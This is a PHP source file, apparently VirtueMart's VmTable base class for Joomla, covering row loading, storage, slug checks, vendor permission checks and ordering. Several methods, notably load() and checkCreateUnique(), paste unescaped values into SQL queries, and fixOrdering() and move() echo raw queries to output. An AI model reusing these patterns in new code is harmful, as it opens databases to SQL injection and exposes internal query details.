			$adminSessionID = JFactory::getSession()->get('vmAdminID');
			if ($admin || JFactory::getUser($adminSessionID)->authorise('core.admin', 'com_virtuemart')) {
//				vmdebug('setLoggableFieldsForStore ', $this->created_on);
				if (empty($this->$pkey) and empty($this->created_on)) {
					$this->created_on = $today;
				} else if (empty($this->created_on)) {
					//If nothing is there, dont update it
					unset($this->created_on);
				} else //ADDED BY P2 PETER
					if ($this->created_on == "0000-00-00 00:00:00") {
						$this->created_on = $today;
						$this->created_by = $user->id;
					}
				//END ADD

				if (empty($this->$pkey) and empty($this->created_by)) {
					$this->created_by = $user->id;
				} else if (empty($this->created_by)) {
					//If nothing is there, dont update it
					unset($this->created_by);
				}


			} else {

				if (empty($this->$pkey)) {
					$this->created_on = $today;
					$this->created_by = $user->id;
				} else {
					//If nothing is there, dont update it
					unset($this->created_on);
					unset($this->created_by);
				}
			}

			$this->modified_on = $today;
			$this->modified_by = $user->id;
		}

		if (isset($this->locked_on)) {
			//Check if user is allowed to store, then disable or prevent storing
			$this->locked_on = 0;
		}
	}

	/**
	 * Technic to inject params as table attributes
	 * @author Max Milbers
	 * $TableJoins array of table names to add and left join to find ID
	 */
	function load($oid = null, $overWriteLoadName = 0, $andWhere = 0, $tableJoins = array(), $joinKey = 0) {

		if( $overWriteLoadName!==0 ){
			$k = $overWriteLoadName;
		} else {
			$k = $this->_pkey;
		}

		if ($oid !== null) {
			$this->$k = $oid;
		} else {
			$oid = $this->$k;
		}

		if ($oid === null) {
			$oid = 0;
		} else if (empty($oid)) {
			if (!empty($this->_xParams)) {
				foreach ($this->_varsToPushParam as $key => $v) {
					if (!isset($this->$key)) {
						$this->$key = $v[0];
					}
				}
			}
			return $this;
		}

		//Version load the tables using JOIN
		if ($this->_translatable) {
			$mainTable =  $this->_tbl;
			$langTable = $this->_tbl . '_' . $this->_langTag;

			$select = 'SELECT `' . $mainTable . '`.* ,`' . $langTable . '`.* ';
			$from = ' FROM `' . $mainTable . '` INNER JOIN `' . $langTable . '` using (`' . $this->_tbl_key . '`)';
		} else {
			$mainTable = $this->_tbl;
			$select = 'SELECT `' . $mainTable . '`.* ';
			$from = ' FROM `' . $mainTable . '` ';
		}

		if (count($tableJoins)) {
			if (!$joinKey) $joinKey = $this->_tbl_key;
			foreach ($tableJoins as $tableId => $table) {
				$select .= ',`' . $table . '`.`' . $tableId . '` ';
				$from .= ' LEFT JOIN `' . $table . '` on `' . $table . '`.`' . $joinKey . '`=`' . $mainTable . '`.`' . $joinKey . '`';
			}
		}
		//the cast to int here destroyed the query for keys like virtuemart_userinfo_id, so no cast on $oid
		// $query = $select.$from.' WHERE '. $mainTable .'.`'.$this->_tbl_key.'` = "'.$oid.'"';
		if ($andWhere === 0) $andWhere = '';
		$query = $select . $from . ' WHERE `' . $mainTable . '`.`' . $k . '` = "' . $oid . '" ' . $andWhere;

		$hashVarsToPush = '';
		if (!empty($this->_xParams)) {
			$hashVarsToPush = serialize($this->_varsToPushParam);
		}
		$hash = md5($oid. $select . $k . $andWhere . $hashVarsToPush);

		if (isset (self::$_cache['l'][$hash])) {
			//vmdebug('Resturn cached '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid);
			$this->bind(self::$_cache['l'][$hash]);
			return $this;
		} else {
			//vmdebug('loading '.$this->_pkey.' '.$this->_slugAutoName.' '.$oid);
		}

		$db = $this->getDBO();
		$db->setQuery($query);

		$result = $db->loadAssoc();

		if ($result) {
			$this->bind($result);
			if (!empty($this->_xParams)) {
				//Maybe better to use for $this an &
				self::bindParameterable($this, $this->_xParams, $this->_varsToPushParam);
			}

			if (count($tableJoins)) {
				foreach ($tableJoins as $tableId => $table) {
					if (isset($result[$tableId])) $this->$tableId = $result[$tableId];
				}
			}
		} else {
			$params = JComponentHelper::getParams('com_languages');
			$defaultLang = $params->get('site', 'en-GB');//use default joomla
			$defaultLang= strtolower(strtr($defaultLang,'-','_'));

			if($defaultLang!=$this->_langTag and Vmconfig::$langCount>1){
				$this->_ltmp = $this->_langTag;
				$this->_langTag = $defaultLang;
				$this->load($oid, $overWriteLoadName, $andWhere, $tableJoins, $joinKey) ;
			}
		}

		if($this->_cryptedFields){
			if(!class_exists('vmCrypt')){
				require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php');
			}
			if(isset($this->modified_on)){
				$timestamp = strtotime($this->modified_on);
				$date = $timestamp;
			} else {
				$date = 0;
			}

			if($this->_cryptedFields){
				if(!class_exists('vmCrypt')){
					require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php');
				}
				if(isset($this->modified_on)){
					$timestamp = strtotime($this->modified_on);
					$date = $timestamp;
				} else {
					$date = 0;
				}

				foreach($this->_cryptedFields as $field){
					if(isset($this->$field)){
						$this->$field = vmCrypt::decrypt($this->$field,$date);
					}

				}
			}
		}

		if($this->_ltmp){
			$this->_langTag = $this->_ltmp;
			$this->_ltmp = false;
		}

		self::$_cache['l'][$hash] = $this->loadFieldValues(false);
		return $this;
	}


	/**
	 * Technic to inject params as table attributes
	 * @author Max Milbers
	 */
	function store($updateNulls = false) {

		$this->setLoggableFieldsForStore();

		if($this->_cryptedFields){
			if(!class_exists('vmCrypt')){
				require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'vmcrypt.php');
			}
			vmdebug('my crytped fields in store '.get_class($this),$this->_cryptedFields);
			foreach($this->_cryptedFields as $field){
				if(isset($this->$field)){
					$this->$field = vmCrypt::encrypt($this->$field);
				} else {
					vmdebug('Store vmtable empty property for '.$field);
				}
			}
		}

		$this->storeParams();

		return parent::store($updateNulls);

	}


	function storeParams() {

		if (!empty($this->_xParams)) {
			$paramFieldName = $this->_xParams;
			$this->$paramFieldName = '';
			foreach ($this->_varsToPushParam as $key => $v) {

				if (isset($this->$key)) {
					$this->$paramFieldName .= $key . '=' . json_encode($this->$key) . '|';
				} else {
					$this->$paramFieldName .= $key . '=' . json_encode($v[0]) . '|';
				}
				unset($this->$key);
			}
		}
		return true;
	}


	function checkCreateUnique($tbl_name, $name) {

		$i = 0;

		while ($i < 20) {

			$tbl_key = $this->_tbl_key;
			$q = 'SELECT `' . $name . '` FROM `' . $tbl_name . '` WHERE `' . $name . '` =  "' . $this->$name . '"  AND `' . $this->_tbl_key . '`!=' . $this->$tbl_key;

			$this->_db->setQuery($q);
			$existingSlugName = $this->_db->loadResult();

			if (!empty($existingSlugName)) {

				if($posNbr = strrpos($this->$name,'-')){
					$existingNbr = substr($this->$name,$posNbr+1);

					if(is_numeric($existingNbr)){
						$existingNbr++;
						if($i>10){
							$existingNbr = $existingNbr +  rand (1, 9);
						}
						$this->$name = substr($this->$name,0,$posNbr+1) . $existingNbr;
					} else{
						$this->$name = $this->$name . '-1';
					}
				} else {
					$this->$name = $this->$name . '-1';
				}

			} else {
				return true;
			}
			$i++;
		}

		return false;

	}


	/**
	 * @author Max Milbers
	 * @param
	 */
	function check() {

		if (!empty($this->_slugAutoName)) {

			$slugAutoName = $this->_slugAutoName;
			$slugName = $this->_slugName;

			if (in_array($slugAutoName, $this->_translatableFields)) {
				$checkTable = $this->_tbl . '_' . VmConfig::$vmlang;
			} else {
				$checkTable = $this->_tbl;
			}

			if (empty($this->$slugName)) {
				// 				vmdebug('table check use _slugAutoName '.$slugAutoName.' '.$slugName);
				if (!empty($this->$slugAutoName)) {
					$this->$slugName = $this->$slugAutoName;
				} else {
					vmError('VmTable ' . $checkTable . ' Check not passed. Neither slug nor obligatory value at ' . $slugAutoName . ' for auto slug creation is given');
					return false;
				}

			}

			//if (JVM_VERSION === 1) $this->$slugName = JFilterOutput::stringURLSafe($this->$slugName);
			//else $this->$slugName = JApplication::stringURLSafe($this->$slugName);
			//pro+#'!"§$%&/()=?duct-w-| ||cu|st|omfield-|str<ing>
			//vmdebug('my slugName '.$slugName,$this->$slugName);
			$this->$slugName = str_replace('-', ' ', $this->$slugName);

			//$config =& JFactory::getConfig();
			//$transliterate = $config->get('unicodeslugs');
			$unicodeslugs = VmConfig::get('transliterateSlugs',false);
			if($unicodeslugs){
				$lang = JFactory::getLanguage();
				$this->$slugName = $lang->transliterate($this->$slugName);
			}

			// Trim white spaces at beginning and end of alias and make lowercase
			$this->$slugName = trim(JString::strtolower($this->$slugName));
			$this->$slugName = str_replace(array('`','´',"'"),'',$this->$slugName);

			$this->$slugName = vRequest::filterUword($this->$slugName,'-,_,.,|','-');
			while(strpos($this->$slugName,'--')){
				$this->$slugName = str_replace('--','-',$this->$slugName);
			}
			// Trim dashes at beginning and end of alias
			$this->$slugName = trim($this->$slugName, '-');

			if($unicodeslugs)$this->$slugName = rawurlencode($this->$slugName);

			$valid = $this->checkCreateUnique($checkTable, $slugName);
			vmdebug('my Final slugName '.$slugName,$this->slugName);
			if (!$valid) {
				return false;
			}

		}


		foreach ($this->_obkeys as $obkeys => $error) {
			if (empty($this->$obkeys)) {
				if (empty($error)) {
					$error = 'Serious error cant save ' . $this->_tbl . ' without ' . $obkeys;
				} else {
					//	$error = get_class($this).' '.vmText::_($error);
					$error = get_class($this) . ' ' . $error;
				}
				$this->setError($error);
				vmError($error);
				return false;
			}
		}

		if ($this->_unique) {
			if (empty($this->_db)) $this->_db = JFactory::getDBO();
			foreach ($this->_unique_name as $obkeys => $error) {

				if (empty($this->$obkeys)) {
					// 					vmError(vmText::sprintf('COM_VIRTUEMART_NON_UNIQUE_KEY',$this->$obkeys));
					$this->setError($error);
					vmError('Non unique ' . $this->_unique_name . ' ' . $error);
					return false;
				} else {

					$valid = $this->checkCreateUnique($this->_tbl, $obkeys);
					if (!$valid) {
						return false;
					}
				}
			}
		}

		if (isset($this->virtuemart_vendor_id)) {

			$multix = Vmconfig::get('multix', 'none');
			//Lets check if the user is admin or the mainvendor
			$virtuemart_vendor_id = false;
			if ($multix == 'none' and get_class($this) !== 'TableVmusers') {

				$this->virtuemart_vendor_id = 1;
				return true;
			} else {
				$loggedVendorId = Permissions::getInstance()->isSuperVendor();
				$user = JFactory::getUser();
				$admin = $user->authorise('core.admin','com_virtuemart');

				$tbl_key = $this->_tbl_key;
				$className = get_class($this);
				if (strpos($this->_tbl,'virtuemart_vmusers')===FALSE) {
					$q = 'SELECT `virtuemart_vendor_id` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" ';
					if (!isset(self::$_cache[md5($q)])) {
						$this->_db->setQuery($q);
						$virtuemart_vendor_id = $this->_db->loadResult();
					} else $virtuemart_vendor_id = self::$_cache[md5($q)];
				} else {
					$q = 'SELECT `virtuemart_vendor_id`,`user_is_vendor` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . '`="' . $this->$tbl_key . '" ';
					if (!isset(self::$_cache[md5($q)])) {
						$this->_db->setQuery($q);
						$vmuser = $this->_db->loadRow();
					} else $vmuser = self::$_cache[md5($q)];

					if ($vmuser and count($vmuser) === 2) {
						$virtuemart_vendor_id = $vmuser[0];
						$user_is_vendor = $vmuser[1];

						if ($multix == 'none') {
							if (empty($user_is_vendor)) {
								$this->virtuemart_vendor_id = 0;
							} else {
								$this->virtuemart_vendor_id = 1;
							}
							return true;
						} else {
							if (!$admin) {
								$this->virtuemart_vendor_id = $loggedVendorId;
								return true;
							}
						}
					} else {
						//New User
						//vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl);//, Set to mainvendor '.$this->virtuemart_vendor_id
					}
				}

				if (!$admin and !empty($virtuemart_vendor_id) and !empty($loggedVendorId) and $loggedVendorId != $virtuemart_vendor_id) {

					//vmWarn('COM_VIRTUEMART_NOT_SAME_VENDOR',$loggedVendorId,$virtuemart_vendor_id
					//vmWarn('Stop try to hack this store, you got logged');
					vmdebug('Hacking attempt stopped, logged vendor ' . $loggedVendorId . ' but data belongs to ' . $virtuemart_vendor_id);
					return false;
				} else if (!$admin) {
					if ($virtuemart_vendor_id) {
						$this->virtuemart_vendor_id = $virtuemart_vendor_id;
						vmdebug('Non admin is storing using loaded vendor_id');
					} else {
						//No id is stored, even users are allowed to use for the storage and vendorId, no change
					}

				} else {
					//Admins are allowed to do anything. We just trhow some messages
					if (!empty($virtuemart_vendor_id) and $loggedVendorId != $virtuemart_vendor_id) {
						vmdebug('Admin with vendor id ' . $loggedVendorId . ' is using for storing vendor id ' . $this->virtuemart_vendor_id);
					}
					else if (empty($virtuemart_vendor_id)) {
						if(strpos($this->_tbl,'virtuemart_vendors')===FALSE and strpos($this->_tbl,'virtuemart_vmusers')===FALSE){
							vmInfo('We run in multivendor mode and you did not set any vendor for '.$className.' and '.$this->_tbl);
						}
					}
				}
			}
		}

		return true;
	}

	/**
	 * As shortcat, Important the & MUST be there, even in php5.3
	 *
	 * @author Max Milbers
	 * @param array/obj $data input data as assoc array or obj
	 * @param boolean $preload You can preload the data here too preserve not updated data
	 * @return array/obj $data the updated data
	 */
	public function bindChecknStore(&$data, $preload = false) {

		$tblKey = $this->_tbl_key;
		$ok = true;
		if ($this->_translatable) {
			if (!class_exists('VmTableData')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php');
			$db = JFactory::getDBO();

			$langTable = new VmTableData($this->_tbl_lang, $tblKey, $db);
			$langTable->setPrimaryKey($tblKey);
			$langData = array();
			$langObKeys = array();
			$langUniqueKeys = array();

			if (is_object($data)) {

				foreach ($this->_translatableFields as $name) {
					if (isset($data->$name)) {
						//We directly store language stuff "escaped"
						$langData[$name] = htmlentities($data->$name, ENT_QUOTES, "UTF-8");
					} else {
					//	$langData[$name] = '';
					}
					unset($this->$name);

					if (!empty($this->_unique_name[$name])) {
						$langUniqueKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name)));
						unset($this->_unique_name[$name]);
						$langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name)));
						unset($this->_obkeys[$name]);
					}

					if (!empty($this->_obkeys[$name])) {
						$langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name)));
						unset($this->_obkeys[$name]);
					}

				}
				// 				$langTable->$tblKey = $data->$tblKey;
			} else {
				foreach ($this->_translatableFields as $name) {
					if (isset($data[$name])) {
						//$langData[$name] = $data[$name];
						$langData[$name] = htmlentities($data[$name], ENT_QUOTES, "UTF-8");
					} else {
					//	$langData[$name] = '';
					}
					unset($this->$name);

					if (!empty($this->_unique_name[$name])) {
						$langUniqueKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME', vmText::_('COM_VIRTUEMART_' . strtoupper($name)));
						unset($this->_unique_name[$name]);
						$langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name)));
						unset($this->_obkeys[$name]);
					}

					if (!empty($this->_obkeys[$name])) {
						$langObKeys[$name] = vmText::sprintf('COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY', vmText::_('COM_VIRTUEMART_' . strtoupper($name)));
						unset($this->_obkeys[$name]);
					}

				}
				// 				$langTable->$tblKey = $data[$tblKey];
			}

			$langTable->_unique_name = $langUniqueKeys;
			$langTable->_obkeys = $langObKeys;

			$langTable->_slugAutoName = $this->_slugAutoName;
			unset($this->_slugAutoName);

			$langTable->_slugName = 'slug';
			unset($this->_slugName);

			$langTable->setProperties($langData);
			$langTable->_translatable = false;
			//We must check the langtable BEFORE we store the normal table, cause the langtable is often defining if there are enough data to store it (for exmple the name)

			if ($ok) {
				//vmdebug('my langtable before bind',$langTable->id);
				if (!$langTable->bind($data)) {
					$ok = false;
					$msg = 'bind';
					// 			vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg());
					vmdebug('Problem in bind ' . get_class($this) . ' ');
				}
			}

			if ($ok) {
				if (!$langTable->check()) {
					$ok = false;
					vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg());
				}
			}

			if ($ok) {

				$this->bindChecknStoreNoLang($data, $preload);

				$langTable->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0;
				//vmdebug('bindChecknStoreNoLang my $tblKey '.$tblKey.' '.$langTable->$tblKey);
				if ($ok and $preload) {
					if (!empty($langTable->$tblKey)) {
						$id = $langTable->$tblKey;
						if (!$langTable->load($id)) {
							$ok = false;
							vmdebug('Preloading of language table failed, no id given, cannot store ' . $this->_tbl);
						}
					} else {
						if ($ok) {
							if (!$langTable->bind($data)) {
								$ok = false;
								vmdebug('Problem in bind ' . get_class($this) . ' ');
							}
						}

						if ($ok) {
							if (!$langTable->check()) {
								$ok = false;
								vmdebug('Check returned false ' . get_class($langTable) . ' ' . $this->_tbl . ' ' . $langTable->_db->getErrorMsg());
							}
						}
					}
				}

				if ($ok) {
					if (!$langTable->store()) {
						$ok = false;
						// $msg .= ' store';
						vmdebug('Problem in store with langtable ' . get_class($langTable) . ' with ' . $tblKey . ' = ' . $this->$tblKey . ' ' . $langTable->_db->getErrorMsg());
					}
				}
			}


		} else {

			if (!$this->bindChecknStoreNoLang($data, $preload)) {
				$ok = false;
			}
		}

		return $ok;
	}


	function bindChecknStoreNoLang(&$data, $preload = false) {

		$tblKey = $this->_tbl_key;

		if ($preload) {
			if (is_object($data)) {
				if (!empty($data->$tblKey)) {
					$this->load($data->$tblKey);
				}
			} else {
				if (!empty($data[$tblKey])) {
					$this->load($data[$tblKey]);
				}
			}

			if ($this->_translatable) {
				foreach ($this->_translatableFields as $name) {
					unset($this->$name);
				}
			}
			//vmdebug('bindChecknStoreNoLang language unloaded, why?');
		}

		$ok = true;
		$msg = '';

		if (!$this->bind($data)) {
			$ok = false;
			$msg = 'bind';
			// 			vmdebug('Problem in bind '.get_class($this).' '.$this->_db->getErrorMsg());
			vmdebug('Problem in bind ' . get_class($this) . ' ');
		}

		if ($ok) {
			if (!$this->checkDataContainsTableFields($data)) {
				$ok = false;
				//    			$msg .= ' developer notice:: checkDataContainsTableFields';
			}
		}

		if ($ok) {
			if (!$this->check()) {
				$ok = false;
				$msg .= ' check';
				vmdebug('Check no lang returned false ' . get_class($this) . ' ' . $this->_db->getErrorMsg());
				return false;
			}
		}

		if ($ok) {
			if (!$this->store($this->_updateNulls)) {
				$ok = false;
				$msg .= ' store';
				vmdebug('Problem in store ' . get_class($this) . ' ' . $this->_db->getErrorMsg());
				return false;
			}
		}


		if (is_object($data)) {
			$data->$tblKey = !empty($this->$tblKey) ? $this->$tblKey : 0;
		} else {
			$data[$tblKey] = !empty($this->$tblKey) ? $this->$tblKey : 0;
		}

		// 		vmdebug('bindChecknStore '.get_class($this).' '.$this->_db->getErrorMsg());
		//This should return $ok and not the data, because it is already updated due use of reference
		return $data;
	}

	/**
	 * Description
	 * will make sure that all items in the table are not using the same ordering values
	 * @author stAn
	 * @access public
	 * $where -> limits the categories if a child category of another one
	 */
	function fixOrdering($where = '') {

		$where = $where ? ' WHERE ' . $where : '';
		// fast check for duplicities
		$q = 'SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` GROUP BY `' . $this->_orderingKey . '` HAVING COUNT(*) >= 2 ' . $where . ' LIMIT 1';
		$this->_db->setQuery($q);
		$res = $this->_db->loadAssocList();
		if (empty($res)) return true;

		$q = ' SELECT `' . $this->_tbl_key . '` FROM `' . $this->_tbl . '` ' . $where . ' ORDER BY `' . $this->_orderingKey . '` ASC';
		$this->_db->setQuery($q, 0, 999999);
		$res = $this->_db->loadAssocList();
		$e = $this->_db->getErrorMsg();
		if (!empty($e)) {
			vmError(get_class($this) . $e);
		}
		echo $q . "<br />\n";
		// no data in the table
		if (empty($res)) return true;
		// we will set ordering to 5,10,15,20,25 so there is enough space in between for manual editing

		$start = 5;
		// it is not really optimized to load full table into array, a while loop would be better especially when having thousands of categories
		foreach ($res as $row) {
			$q = 'UPDATE  `' . $this->_tbl . '` SET `' . $this->_orderingKey . '` = ' . (int)$start . ' WHERE `' . $this->_tbl_key . '`= ' . $row[$this->_tbl_key] . ' LIMIT 1';

			$this->_db->setQuery($q);
			$r = $this->_db->execute($q);
			$start = $start + 5;
		}

	}

	/**
	 * Description
	 *
	 * @author Joomla Team, Max Milbers
	 * @access public
	 * @param $dirn
	 * @param $where
	 */
	function move($dirn, $where = '', $orderingkey = 0) {

		// for some reason this function is not used from categories
		$this->fixOrdering();

		$k = $this->_tbl_key;
		// problem here was that $this->$k returned (0)

		$cid = vRequest::getInt($this->_pkeyForm);
		if (!empty($cid) && (is_array($cid))) {
			$cid = reset($cid);
		} else {
			// either we fix custom fields or fix it here:
			$cid = vRequest::getVar('virtuemart_custom_id');
			if (!empty($cid) && (is_array($cid))) {
				$cid = reset($cid);
			} else {
				vmError(get_class($this) . ' is missing cid information !');
				return false;
			}
		}		// stAn: if somebody knows how to get current `ordering` of selected cid (i.e. virtuemart_userinfo_id or virtuemart_category_id from defined vars, you can review the code below)
		$q = "SELECT `" . $this->_orderingKey . '` FROM `' . $this->_tbl . '` WHERE `' . $this->_tbl_key . "` = '" . (int)$cid . "' limit 0,1";

		if (!isset(self::$_cache[md5($q)])) {
			$this->_db->setQuery($q);
			$c_order = $this->_db->loadResult(); // current ordering value of cid
		} else {
			$c_order = self::$_cache[md5($q)];
		}

		$this->$orderingkey = $c_order;

		$e = $this->_db->getErrorMsg();
		if (!empty($e)) {
			vmError(get_class($this) . $e);
		}
		// stAn addition:
		$where .= ' `' . $this->_tbl_key . '` <> ' . (int)$cid . ' ';
		// explanation:
		// select one above or under which is not cid and update/set it's ordering of the original cid
		// could be done with one complex query... but this is more straitforward and the speed is not that much needed in this one

		if (!empty($orderingkey))
			$this->_orderingKey = $orderingkey;

		if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) {
			vmError(get_class($this) . ' does not support ordering');
			return false;
		}

		$k = $this->_tbl_key; // virtuemart_userfield_id column name

		$orderingKey = $this->_orderingKey; // ordering column name

		$sql = 'SELECT `' . $this->_tbl_key . '`, `' . $this->_orderingKey . '` FROM ' . $this->_tbl;

		if ($dirn < 0) {
			$sql .= ' WHERE `' . $this->_orderingKey . '` <= ' . (int)$c_order;
			$sql .= ($where ? ' AND ' . $where : '');
			$sql .= ' ORDER BY `' . $this->_orderingKey . '` DESC';
		} else if ($dirn > 0) {
			$sql .= ' WHERE `' . $this->_orderingKey . '` >= ' . (int)$c_order;
			$sql .= ($where ? ' AND ' . $where : '');
			$sql .= ' ORDER BY `' . $this->_orderingKey . '`';
		} else {
			$sql .= ' WHERE `' . $this->_orderingKey . '` = ' . (int)$c_order;
			$sql .= ($where ? ' AND ' . $where : '');
			$sql .= ' ORDER BY `' . $this->_orderingKey . '`';
		}


		if (!isset(self::$_cache[md5($sql)])) {
			$this->_db->setQuery($sql, 0, 1);


			$row = null;
			$row = $this->_db->loadObject();
		} else $row = self::$_cache[md5($sql)];


		if (isset($row)) {

			// ok, we have a problem here - previous or next item has the same ordering as the current one
			// we need to fix the ordering be reordering it all
			if ((int)$row->$orderingKey == $c_order) {
				// if we fix this while loading the ordering, it will slow down FE
			}

			// update the next or previous to have the same ordering as the selected
			$query = 'UPDATE ' . $this->_tbl
				. ' SET `' . $this->_orderingKey . '` = ' . (int)$c_order
				. ' WHERE ' . $this->_tbl_key . ' = ' . (int)$row->$k . ' LIMIT 1';

			$this->_db->setQuery($query);
			echo "\n" . $query . '<br />';

			if (!$this->_db->execute()) {
				$err = $this->_db->getErrorMsg();
				JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err);
			}

			// update the currently selected to have the same ordering as the next or previous
			$query = 'UPDATE ' . $this->_tbl
				. ' SET `' . $this->_orderingKey . '` = ' . (int)$row->$orderingKey
				. ' WHERE ' . $this->_tbl_key . ' = "' . (int)$cid . '" LIMIT 1';
			$this->_db->setQuery($query);
			//echo $query.'<br />'; die();
			if (!$this->_db->execute()) {
				$err = $this->_db->getErrorMsg();
				JError::raiseError(500, get_class($this) . ':: move isset row $row->$k' . $err);
			}

			// stAn, what for is this?
			$this->ordering = $row->$orderingKey;


		} else {
			// stAn: why should we update the same line with the same information when no next or previous found (?)

			$query = 'UPDATE ' . $this->_tbl
				. ' SET `' . $this->_orderingKey . '` = ' . (int)$this->$orderingKey
				. ' WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '" LIMIT 1';
			$this->_db->setQuery($query);

			if (!$this->_db->execute()) {
				$err = $this->_db->getErrorMsg();
				JError::raiseError(500, get_class($this) . ':: move update $this->$k' . $err);
			}
		}
		return true;
	}

	/**
	 * Returns the ordering value to place a new item last in its group
	 *
	 * @access public
	 * @param string query WHERE clause for selecting MAX(ordering).
	 */
	function getNextOrder($where = '', $orderingkey = 0) {

		$where = $this->_db->escape($where);
		$orderingkey = $this->_db->escape($orderingkey);

		if (!empty($orderingkey))
			$this->_orderingKey = $orderingkey;
		if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) {
			vmError(get_class($this) . ' does not support ordering');
			return false;
		}

		$query = 'SELECT MAX(`' . $this->_orderingKey . '`)' .
			' FROM ' . $this->_tbl .
			($where ? ' WHERE ' . $where : '');
		if (!isset(self::$_cache[md5($query)])) {
			$this->_db->setQuery($query);
			$maxord = $this->_db->loadResult();
		} else $maxord = self::$_cache[md5($query)];

		if ($this->_db->getErrorNum()) {
			vmError(get_class($this) . ' getNextOrder ' . $this->_db->getErrorMsg());
			return false;
		}
		return $maxord + 1;
	}

	/**
	 * Compacts the ordering sequence of the selected records
	 *
	 * @access public
	 * @param string Additional where query to limit ordering to a particular subset of records
	 */
	function reorder($where = '', $orderingkey = 0) {

		$where = $this->_db->escape($where);
		$orderingkey = $this->_db->escape($orderingkey);

		if (!empty($orderingkey))
			$this->_orderingKey = $orderingkey;
		$k = $this->_tbl_key;

		if (!in_array($this->_orderingKey, array_keys($this->getProperties()))) {
			vmError(get_class($this) . ' does not support ordering');
			return false;
		}

		if ($this->_tbl == '#__content_frontpage') {
			$order2 = ", content_id DESC";
		} else {
			$order2 = "";
		}

		$query = 'SELECT ' . $this->_tbl_key . ', ' . $this->_orderingKey
			. ' FROM ' . $this->_tbl
			. ' WHERE `' . $this->_orderingKey . '` >= 0' . ($where ? ' AND ' . $where : '')
			. ' ORDER BY `' . $this->_orderingKey . '` ' . $order2;
		$this->_db->setQuery($query);
		if (!($orders = $this->_db->loadObjectList())) {
			vmError(get_class($this) . ' reorder ' . $this->_db->getErrorMsg());
			return false;
		}
		$orderingKey = $this->_orderingKey;
		// compact the ordering numbers
		for ($i = 0, $n = count($orders); $i < $n; $i++) {
			if ($orders[$i]->$orderingKey >= 0) {
				if ($orders[$i]->$orderingKey != $i + 1) {
					$orders[$i]->$orderingKey = $i + 1;
					$query = 'UPDATE ' . $this->_tbl
						. ' SET `' . $this->_orderingKey . '` = "' . $this->_db->escape($orders[$i]->$orderingKey) . '"
					 WHERE ' . $k . ' = "' . $this->_db->escape($orders[$i]->$k) . '"';
					$this->_db->setQuery($query);
					$this->_db->execute();
				}
			}
		}

		return true;
	}

	/**
	 * Checks out a row
	 *
	 * @access public
	 * @param    integer    The id of the user
	 * @param    mixed    The primary key value for the row
	 * @return    boolean    True if successful, or if checkout is not supported
	 */
	function checkout($who, $oid = null) {

		if (!in_array('locked_by', array_keys($this->getProperties()))) {
			return true;
		}

		$k = $this->_tbl_key;
		if ($oid !== null) {
			$this->$k = $oid;
		}

		$config = JFactory::getConfig();
		$siteOffset = $config->get('offset');
		$date = JFactory::getDate('now', $siteOffset);

		$time = $date->toSql();

		$query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) .
			' SET locked_by = ' . (int)$who . ', locked_on = "' . $this->_db->escape($time) . '"
			 WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"';
		$this->_db->setQuery($query);

		$this->locked_by = $who;
		$this->locked_on = $time;

		return $this->_db->execute();
	}

	/**
	 * Checks in a row
	 *
	 * @access    public
	 * @param    mixed    The primary key value for the row
	 * @return    boolean    True if successful, or if checkout is not supported
	 */
	function checkin($oid = null) {

		if (!(
			in_array('locked_by', array_keys($this->getProperties())) ||
				in_array('locked_on', array_keys($this->getProperties()))
		)
		) {
			return true;
		}

		$k = $this->_tbl_key;

		if ($oid !== null) {
			$this->$k = $oid;
		}

		if ($this->$k == NULL) {
			return false;
		}

		$query = 'UPDATE ' . $this->_db->quoteName($this->_tbl) .
			' SET locked_by = 0, locked_on = "' . $this->_db->escape($this->_db->getNullDate()) . '"
				 WHERE ' . $this->_tbl_key . ' = "' . $this->_db->escape($this->$k) . '"';
		$this->_db->setQuery($query);

		$this->locked_by = 0;
		$this->locked_on = '';

		return $this->_db->execute();
	}

	/**
	 * Check if an item is checked out
	 *
	 * This function can be used as a static function too, when you do so you need to also provide the
	 * a value for the $against parameter.
	 *
	 * @static
	 * @access public
	 * @param integer $with    The userid to preform the match with, if an item is checked out
	 *                            by this user the function will return false
	 * @param integer $against    The userid to perform the match against when the function is used as
	 *                            a static function.
	 * @return boolean
	 */
	function isCheckedOut($with = 0, $against = null) {

		if (isset($this) && is_a($this, 'JTable') && is_null($against)) {
			$against = $this->get('locked_by');
		}

		//item is not checked out, or being checked out by the same user
		if (!$against || $against == $with) {
			return false;
		}

		$session = JTable::getInstance('session');
		return $session->exists($against);
	}

	/**
	 * toggle (0/1) a field
	 * or invert by $val
	 * @author impleri
	 * @author Max Milbers
	 * @param string $field the field to toggle
	 * @param boolean $val field value (0/1)
	 * @todo could make this multi-id as well...
	 */
